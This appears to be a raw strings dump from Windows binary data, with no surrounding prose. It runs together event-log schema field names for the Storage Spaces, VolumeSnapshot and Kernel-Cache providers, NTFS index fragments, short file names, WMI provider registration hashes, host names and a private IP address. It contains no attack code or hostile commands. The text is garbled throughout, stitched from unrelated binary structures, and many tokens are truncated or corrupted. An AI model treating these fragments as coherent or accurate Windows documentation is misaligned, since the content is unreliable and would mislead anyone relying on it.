IoStateCountSize Data Name IoStateCount Data Name IoStateBytesSize Data Name IoStateBytes Data Name IoReasonCountSize Data Name IoReasonCount Data Name IoReasonBytesSize Data Name IoReasonBytes Data Name RepairReplacementCount Data Name RebalanceReplacementCount Data Name FailedReplacementCount Data Name ScopeRegenerationCount Data Name RepairReplacementBytes Data Name RebalanceReplacementBytes Data Name FailedReplacementBytes Data Name ScopeRegenerationBytes Data Name NeedRepairPhase2Count Data Name NeedRepairPhase6Count Data Name RepairPhasesSize Data Name RepairPhases Data Name RepairStatusSize Data Name RepairStatus SpaceId PoolId IoStateCountSize IoStateCount IoStateBytesSize IoStateBytes IoReasonCountSize IoReasonCount IoReasonBytesSize IoReasonBytes RepairReplacementCount RebalanceReplacementCount FailedReplacementCount ScopeRegenerationCount RepairReplacementBytes RebalanceReplacementBytes FailedReplacementBytes ScopeRegenerationBytes NeedRepairPhase2Count NeedRepairPhase6Count RepairPhasesSize RepairPhases RepairStatusSize RepairStatus EventData Data Name PauseCount Data Name Force PauseCount Force EventData Data Name SpaceId Data Name Operation Data Name Status SpaceId Operation Status EventData Data Name SpaceId Data Name LogType Data Name Copy Data Name StartLsn Data Name LastChkLsn Data Name PrevChkLsn Data Name SessionNum Data Name DumpCount Data Name MissingMask Data Name Status SpaceId LogType Copy StartLsn LastChkLsn PrevChkLsn SessionNum DumpCount MissingMask Status EventData Data Name SpaceId Data Name LogType Data Name Operation Data Name Data Name Status SpaceId LogType Operation Status EventData Data Name SpaceId Data Name Operation Data Name Status SpaceId Operation Status EventData Data Name SpaceId Data Name Operation Data Name Status SpaceId Operation Status EventData Data Name SpaceId Data Name Operation Data Name Function Data Name Offset Data Name Length Data Name Status SpaceId Operation Function Offset Length Status EventData Data Name SpaceId Data Name Status Data Name UsedLineCount Data Name ReservedLineCount Data Name SynchronizingCount Data Name ReplayCount Data Name ActiveCheckpoint Data Name StartSlot Data Name EndSlot Data Name Wrap Data Name SequenceNumber SpaceId Status UsedLineCount ReservedLineCount SynchronizingCount ReplayCount ActiveCheckpoint StartSlot EndSlot Wrap SequenceNumber EventData Data Name SpaceId Data Name Status Data Name ActiveCheckpoint Data Name StartSlot Data Name EndSlot Data Name Wrap Data Name SequenceNumber SpaceId Status ActiveCheckpoint StartSlot EndSlot Wrap SequenceNumber EventData Data Name StoreId Data Name TotalPaths Data Name PresentPaths Data Name Sequence Data Name PrimaryPathId Data Name DurationInUs StoreId TotalPaths PresentPaths Sequence PrimaryPathId DurationInUs EventData Data Name StoreId Data Name Status Data Name PresentPaths Data Name ReadStatuses Data Name Sequences Data Name StoreStates StoreId Status PresentPaths ReadStatuses Sequences StoreStates EventData Data Name StoreId Data Name PresentPaths Data Name PathId Data Name Flags Data Name Sequence Data Name State StoreId PresentPaths PathId Flags Sequence State EventData Data Name StoreId Data Name PathId StoreId PathId EventData Data Name PathId PathId EventData Data Name PathId Data Name Status PathId Status EventData Data Name StoreId Data Name TotalPaths Data Name PresentPaths Data Name Sequence Data Name TransactionStatus Data Name WitnessStatus StoreId TotalPaths PresentPaths Sequence TransactionStatus WitnessStatus EventData Data Name StoreId Data Name TotalPaths Data Name PresentPaths Data Name Sequence Data Name WitnessStatus Data Name WitnessSequence Data Name Tolerance StoreId TotalPaths PresentPaths Sequence WitnessStatus WitnessSequence Tolerance EventData Data Name SpaceId Data Name SlabIndex Data Name ColumnOffset Data Name Length Data Name Operation Data Name CopiesMask Data Name Column Data Name Error Data Name Buffer SpaceId SlabIndex ColumnOffset Length Operation CopiesMask Column Error Buffer EventData Data Name Data Name SlabOffset Data Name Column Data Name CopiesMask Data Name Offset Data Name Length Data Name Granularity Data Name StaleMask Data Name StaleBytes SlabOffset Column CopiesMask Offset Length Granularity StaleMask StaleBytes EventData Data Name SpaceId Data Name Operation Data Name Status SpaceId Operation Status EventData Data Name ConfigId Data Name DriveCount Data Name DriveIds ConfigId DriveCount DriveIds EventData Data Name ConfigId Data Name ScmCount Data Name SsdCount Data Name HddCount Data Name TotalCount Data Name AddCount Data Name RemoveCount Data Name DriveIds ConfigId ScmCount SsdCount HddCount TotalCount AddCount RemoveCount DriveIds EventData Data Name Data Name Manufacturer Data Name Model Data Name Serial Data Name Revision Data Name DriveCount ComplexData Name DriveIoSummary Manufacturer Model Serial Revision DriveCount DriveIoSummary Slot TotalCount SuccessCount HardwareErrorCount MediaErrorCount ReservationConflictCount UnknownErrorCount EventData Data Name PoolId Data Name SpaceId Data Name DurationInUs Data Name PoolSequenceNumber PoolId SpaceId DurationInUs PoolSequenceNumber EventData Data Name PoolId Data Name SpaceId Data Name AttachedDurationInUs Data Name DetachDurationInUs Data Name DetachReason Data Name Status PoolId SpaceId AttachedDurationInUs DetachDurationInUs DetachReason Status EventData Data Name SpaceId Data Name NumberOfEntries Data Name Limit SpaceId NumberOfEntries Limit EventData Data Name SpaceId Data Name Limit SpaceId Limit EventData Data Name SpaceId Data Name NumberOfEntries Data Name FlushStatus Data Name FirstWriteStatus Data Name SecondWriteStatus SpaceId NumberOfEntries FlushStatus FirstWriteStatus SecondWriteStatus EventData Data Name Data Name Length Length EventData Data Name BlockId Data Name Status BlockId Status EventData Data Name SpaceId Data Name NumberOfBitmaps Data Name SstLength Data Name SpaceId NumberOfBitmaps SstLength EventData Data Name SpaceId Data Name ReserveBytesWritten SpaceId ReserveBytesWritten EventData Data Name SpaceId Data Name Status Data Name ReserveBytesWritten SpaceId Status ReserveBytesWritten EventData Data Name SpaceId Data Name SlabOffset Data Name Column Data Name SourceCopy Data Name Status Data Name BitMapSize Data Name BitMap SpaceId SlabOffset Column SourceCopy Status BitMapSize BitMap EventData Data Name ConfigId Data Name MetadataDriveCount Data Name OldTolerance Data Name NewTolerance ConfigId MetadataDriveCount OldTolerance NewTolerance Microsoft-Windows-StorageSpaces-Driver win:Info win:Error win:Warning win:Informational Flush Destage ReadCache Repair Assets ContentManagementSDK CONTEN~1 StagedAssets STAGED~1 TargetedContentCache TARGET~1 Tips AppData LocalCache LOCALC~1te LocalState LOCALS~1 RoamingState ROAMIN~1 Settingse SystemAppData SYSTEM~1e TempState TEMPST~1 WofCompressedData $DSC 2OfflineFilesConfigurationWmiProvider_Uninstall.mof OFFLIN~1.MOF 2OfflineFilesConfigurationWmiProvider_Uninstall.mof MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData OFFLIN~2.MOF OfflineFilesWmiProvider_Uninstall.mof %OfflineFilesWmiProvider_Uninstall.mof $DSC SEE0E5~1.PF0 SECURITYHEALTHHOST.EXE-950D595E.pf MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData DL6F78~1.PF0 DLLHOST.EXE-C4E575FD.pf MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational EventData Data TargetVolumeGuid SourceFile SourceLine SourceTag Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational Microsoft-Windows-VolumeSnapshot-Driver Microsoft-Windows-VolumeSnapshot-Driver/Operational $I300 $I30 $I30 280811 2808154 3536984 88000045 88000161 SystemSettingsExtensions.dll WofCompressedData $DSC netsstpa.PNF 310093 $I300 eventbeacons.dat EVENTB~1.DATdat imprbeacons.dat IMPRBE~1.DAT INDEXE~1 Indexed Rules $I300 $I300 10.34.0.81 10340~1.81 SCOPED~1 SCOPED~1 PREP_F~1.CAC prep_Form_JSI_API_not_a_real_file_Hermes_perf.cache 10.34.0.81 10340~1.81 $I300 LICENSE Ruleset Data RULESE~1 RULESE~1 Ruleset Data LICENSE PREP_A~1.CAC prep_Activatable Class_Hermes_perf.cache DL970B~1.PF0 DLLHOST.EXE-F6E270D2.pf SVE9B2~1.PF0 SVCHOST.EXE-E5CD0034.pf WI44C6~1.ETL WindowsUpdate.20260221.121757.401.16.etl 280811 $I300 $I30 $I30 0c6402d0cdc44bce9fc62ec398a3dd43_1.~tmp 0C6402~1 0C6402~1.~TM ONESET~1 onesettings_waas_featuremanagement $I300 eventbeacons.dat EVENTB~1.DATdat imprbeacons.dat IMPRBE~1.DAT IMPRBE~1.DAT imprbeacons.dat EVENTB~1.DAT eventbeacons.dat WI1C73~1.DB- Windows-usn.db-wal 0C6402~1 0c6402d0cdc44bce9fc62ec398a3dd43_1 280810 $I300 $I30 $I30 d736452c68c6438aa79430024cf161c1_1.~tmp D73645~1 D73645~1.~TM D73645~1 d736452c68c6438aa79430024cf161c1_1 WI85CD~1.DB- Windows-usn.db-shm ACTIVA~1.DAT ActivationStore.dat 177167~1 1771672852 88000045 $I300 $I30 $I30 9db6d4a76cb54a90a6f03ebde3ccd67c_1.~tmp 9DB6D4~1 9DB6D4~1.~TM 177167~1 1771672852 280815 $I300 $I30 $I30 bca14305a18343a78cc07d721052a9ef_1.~tmp BCA143~1 BCA143~1.~TM MANIFE~1.JSO manifest.json 353698 $I300 $I30 $I30 654ce62c228844eabf8293160861db20_1.~tmp 654CE6~1 654CE6~1.~TM MIF7EA~1.0_X Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe $I300 $I30 $I30 ActivationStore.dat.LOG1 ACTIVA~1.DAT 654CE6~1 654ce62c228844eabf8293160861db20_1 WA4576~1.ETL waasmedic.20260221_112124_391.etl DOMGMT~2.ETL domgmt.20260221_112125_631.etl 89F43C~1 89f43cb3df807293de2772d5f01ac2fc1482b38ccc8fdaee859b80642b7a0487 SV74D9~1.PF0 SVCHOST.EXE-0506DF60.pf APPXBL~1.XML AppxBlockMap.xml 88000161 $I300 $I30 $I30 782a4ab843ce42e3ae55a5799d0f0cc1_1.~tmp 782A4A~1 782A4A~1.~TM kamd64_microsoft-windows-s..ain-english-fluency_31bf3856ad364e35_10.0.26100.1_none_de157a38df578252.manifest AM5A73~1.MAN amd64_microsoft-windows-s..ain-english-fluency_31bf3856ad364e35_10.0.26100.1_none_de157a38df578252.manifest 88000165 $I300 $I30 $I30 775bd83bf93443bdbdb7251e70d1a8d3_1.~tmp 775BD8~1 775BD8~1.~TM 000005.ldb 000008.ldb 000011.ldb 000012.log CURRENT LOCK LOG.old MANIFEST-000010 MANIFE~1MAN MANIFE~1MAN MANIFE~2MAN MANIFE~2MAN MANIFE~2MAN MANIFE~2MAN MANIFE~2MAN MANIFE~2MAN WofCompressedData $DSC RSOP_PolmkrProSetting RSOP_PolmkrProSetting RSOP_PolmkrSetting RSOP_PolmkrFolderOptionSetting RSOP_PolmkrServerSetting 57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA vE083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C ROOT\cimv2 __InstanceProviderRegistration provider NS_68577372C66A7B20658487FBD959AA154EF54B5F935DCC5663E9228B44322805\KI_E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C\I_AFB1F2A4391AB360C9692594F916CB837FC1E6CCCCC7C79E1D6F44A2E3986C3C 71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD ROOT\cimv2 __MethodProviderRegistration provider NS_68577372C66A7B20658487FBD959AA154EF54B5F935DCC5663E9228B44322805\KI_71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD\I_AFB1F2A4391AB360C9692594F916CB837FC1E6CCCCC7C79E1D6F44A2E3986C3C Win32_Service CIM_ManagedSystemElement CIM_ManagedSystemElement CIM_ManagedSystemElement 57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA vE083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C ROOT\cimv2\TerminalServices __InstanceProviderRegistration provider NS_40C72902909872C8CB8F54A549C2E7A4220C5928218B00BA638889979EE39E62\KI_E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C\I_DE17C9D5088F4B642733CF8AEA90F5A7AFA5A9B0892FB2650254AF86F16B343D 71140CCD66EDC20B9C2CDF52F3C8373ACA9F966D80A43AD698A5BFCDF51549DD "57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA the-real-index~ THE-RE~1.TM 64d.TMP THE-RE~1.TM THE-RE~1.TMPMPM THE-RE~1.TM THE-RE~1.TMP WofCompressedData $DSC Accessibility Accessories ACCESS~1nce ACCESS~2nce Administrative Tools.ln Administrative Tools.lnk ADMINI~1.LN ADMINI~1.LNK desktop.ini File Explorer.lnk FILEEX~1.LNK Maintenance MAINTE~1ool OneDrive.lnkZ Startup System ToolsrSh SYSTEM~1Pow Windows PowerShell WINDOW~1 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational EventData Data VolumeDeviceGuid Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational PeriodDurationMicroSec EventSamples TotalNumberOfMappedVacbs TotalPartitionSamples TotalVolumeSamples TotalPagesYetToWrite TotalDirtyPages TotalAvailablePages TotalPhysicalPages TotalNumberWorkerThreads TotalNumberActiveWorkerThreads TotalAverageAvailablePages TotalAverageDirtyPages CcCopyReadCalls CcAsyncCopyReadCalls CcCopyWriteCalls CcSetValidDataCalls CcFlushCacheCalls NumberOfNUMANodes Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational VolumeDeviceGuid PeriodDurationMicroSec TotalDirtyPages MaxDirtyPages TotalDirtyPageThreshold TopDirtyPageThreshold BottomDirtyPageThreshold DirtyPageSamples LazyWriterCalls TotalLazyWriterLatency TotalLazyWriterPagesFlushed LazyWriterAvgPagesPerSecond TotalPagesQueuedToDisk MaxPagesQueuedToDisk PagesQueuedToDiskSamples TotalLoggedPagesQueuedToDisk MaxLoggedPagesQueuedToDisk LoggedPagesQueuedToDiskSamples ReadTotalBytes ReadPagedInTotalBytes ReadAheadTotalBytes CacheHitRatio TotalWrites TotalHardThrottleWrites TotalSoftThrottleWrites TotalSynchronousReadIoCount &TotalSynchronousNonBlockingReadIoCount ,TotalFailedSynchronousNonBlockingReadIoCount SynchronousReadIoMaxLatency &SynchronousReadIoNonBlockingMaxLatency TotalSynchronousWriteIoCount 'TotalSynchronousNonBlockingWriteIoCount -TotalFailedSynchronousNonBlockingWriteIoCount SynchronousWriteIoMaxLatency 'SynchronousWriteIoNonBlockingMaxLatency TotalAsynchronousReadIoCount AsynchronousReadIoMaxLatency Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational VolumeDeviceGuid PeriodDurationMicroSec SynchronousReadIoCountsBucket1 SynchronousReadIoCountsBucket2 SynchronousReadIoCountsBucket3 SynchronousReadIoCountsBucket4 SynchronousReadIoCountsBucket5 SynchronousReadIoCountsBucket6 SynchronousReadIoCountsBucket7 SynchronousReadIoCountsBucket8 SynchronousReadIoCountsBucket9 SynchronousReadIoCountsBucket10 SynchronousReadIoCountsBucket11 SynchronousReadIoCountsBucket12 "SynchronousReadTotalLatencyBucket1 "SynchronousReadTotalLatencyBucket2 "SynchronousReadTotalLatencyBucket3 "SynchronousReadTotalLatencyBucket4 "SynchronousReadTotalLatencyBucket5 "SynchronousReadTotalLatencyBucket6 "SynchronousReadTotalLatencyBucket7 "SynchronousReadTotalLatencyBucket8 "SynchronousReadTotalLatencyBucket9 #SynchronousReadTotalLatencyBucket10 #SynchronousReadTotalLatencyBucket11 #SynchronousReadTotalLatencyBucket12 )SynchronousReadNonBlockingIoCountsBucket1 )SynchronousReadNonBlockingIoCountsBucket2 )SynchronousReadNonBlockingIoCountsBucket3 )SynchronousReadNonBlockingIoCountsBucket4 )SynchronousReadNonBlockingIoCountsBucket5 )SynchronousReadNonBlockingIoCountsBucket6 )SynchronousReadNonBlockingIoCountsBucket7 )SynchronousReadNonBlockingIoCountsBucket8 )SynchronousReadNonBlockingIoCountsBucket9 *SynchronousReadNonBlockingIoCountsBucket10 *SynchronousReadNonBlockingIoCountsBucket11 *SynchronousReadNonBlockingIoCountsBucket12 -SynchronousReadNonBlockingTotalLatencyBucket1 -SynchronousReadNonBlockingTotalLatencyBucket2 -SynchronousReadNonBlockingTotalLatencyBucket3 -SynchronousReadNonBlockingTotalLatencyBucket4 -SynchronousReadNonBlockingTotalLatencyBucket5 -SynchronousReadNonBlockingTotalLatencyBucket6 -SynchronousReadNonBlockingTotalLatencyBucket7 -SynchronousReadNonBlockingTotalLatencyBucket8 -SynchronousReadNonBlockingTotalLatencyBucket9 .SynchronousReadNonBlockingTotalLatencyBucket10 .SynchronousReadNonBlockingTotalLatencyBucket11 .SynchronousReadNonBlockingTotalLatencyBucket12 AsynchronousReadIoCountsBucket1 AsynchronousReadIoCountsBucket2 AsynchronousReadIoCountsBucket3 AsynchronousReadIoCountsBucket4 AsynchronousReadIoCountsBucket5 AsynchronousReadIoCountsBucket6 AsynchronousReadIoCountsBucket7 AsynchronousReadIoCountsBucket8 AsynchronousReadIoCountsBucket9 AsynchronousReadIoCountsBucket10 AsynchronousReadIoCountsBucket11 AsynchronousReadIoCountsBucket12 #AsynchronousReadTotalLatencyBucket1 #AsynchronousReadTotalLatencyBucket2 #AsynchronousReadTotalLatencyBucket3 #AsynchronousReadTotalLatencyBucket4 #AsynchronousReadTotalLatencyBucket5 #AsynchronousReadTotalLatencyBucket6 #AsynchronousReadTotalLatencyBucket7 #AsynchronousReadTotalLatencyBucket8 #AsynchronousReadTotalLatencyBucket9 $AsynchronousReadTotalLatencyBucket10 $AsynchronousReadTotalLatencyBucket11 $AsynchronousReadTotalLatencyBucket12 Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational VolumeDeviceGuid PeriodDurationMicroSec SynchronousWriteIoCountsBucket1 SynchronousWriteIoCountsBucket2 SynchronousWriteIoCountsBucket3 SynchronousWriteIoCountsBucket4 SynchronousWriteIoCountsBucket5 SynchronousWriteIoCountsBucket6 SynchronousWriteIoCountsBucket7 SynchronousWriteIoCountsBucket8 SynchronousWriteIoCountsBucket9 SynchronousWriteIoCountsBucket10 SynchronousWriteIoCountsBucket11 SynchronousWriteIoCountsBucket12 #SynchronousWriteTotalLatencyBucket1 #SynchronousWriteTotalLatencyBucket2 #SynchronousWriteTotalLatencyBucket3 #SynchronousWriteTotalLatencyBucket4 #SynchronousWriteTotalLatencyBucket5 #SynchronousWriteTotalLatencyBucket6 #SynchronousWriteTotalLatencyBucket7 #SynchronousWriteTotalLatencyBucket8 #SynchronousWriteTotalLatencyBucket9 $SynchronousWriteTotalLatencyBucket10 $SynchronousWriteTotalLatencyBucket11 $SynchronousWriteTotalLatencyBucket12 *SynchronousWriteNonBlockingIoCountsBucket1 *SynchronousWriteNonBlockingIoCountsBucket2 *SynchronousWriteNonBlockingIoCountsBucket3 *SynchronousWriteNonBlockingIoCountsBucket4 *SynchronousWriteNonBlockingIoCountsBucket5 *SynchronousWriteNonBlockingIoCountsBucket6 *SynchronousWriteNonBlockingIoCountsBucket7 *SynchronousWriteNonBlockingIoCountsBucket8 *SynchronousWriteNonBlockingIoCountsBucket9 +SynchronousWriteNonBlockingIoCountsBucket10 +SynchronousWriteNonBlockingIoCountsBucket11 +SynchronousWriteNonBlockingIoCountsBucket12 .SynchronousWriteNonBlockingTotalLatencyBucket1 .SynchronousWriteNonBlockingTotalLatencyBucket2 .SynchronousWriteNonBlockingTotalLatencyBucket3 .SynchronousWriteNonBlockingTotalLatencyBucket4 .SynchronousWriteNonBlockingTotalLatencyBucket5 .SynchronousWriteNonBlockingTotalLatencyBucket6 .SynchronousWriteNonBlockingTotalLatencyBucket7 .SynchronousWriteNonBlockingTotalLatencyBucket8 .SynchronousWriteNonBlockingTotalLatencyBucket9 /SynchronousWriteNonBlockingTotalLatencyBucket10 /SynchronousWriteNonBlockingTotalLatencyBucket11 /SynchronousWriteNonBlockingTotalLatencyBucket12 Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache 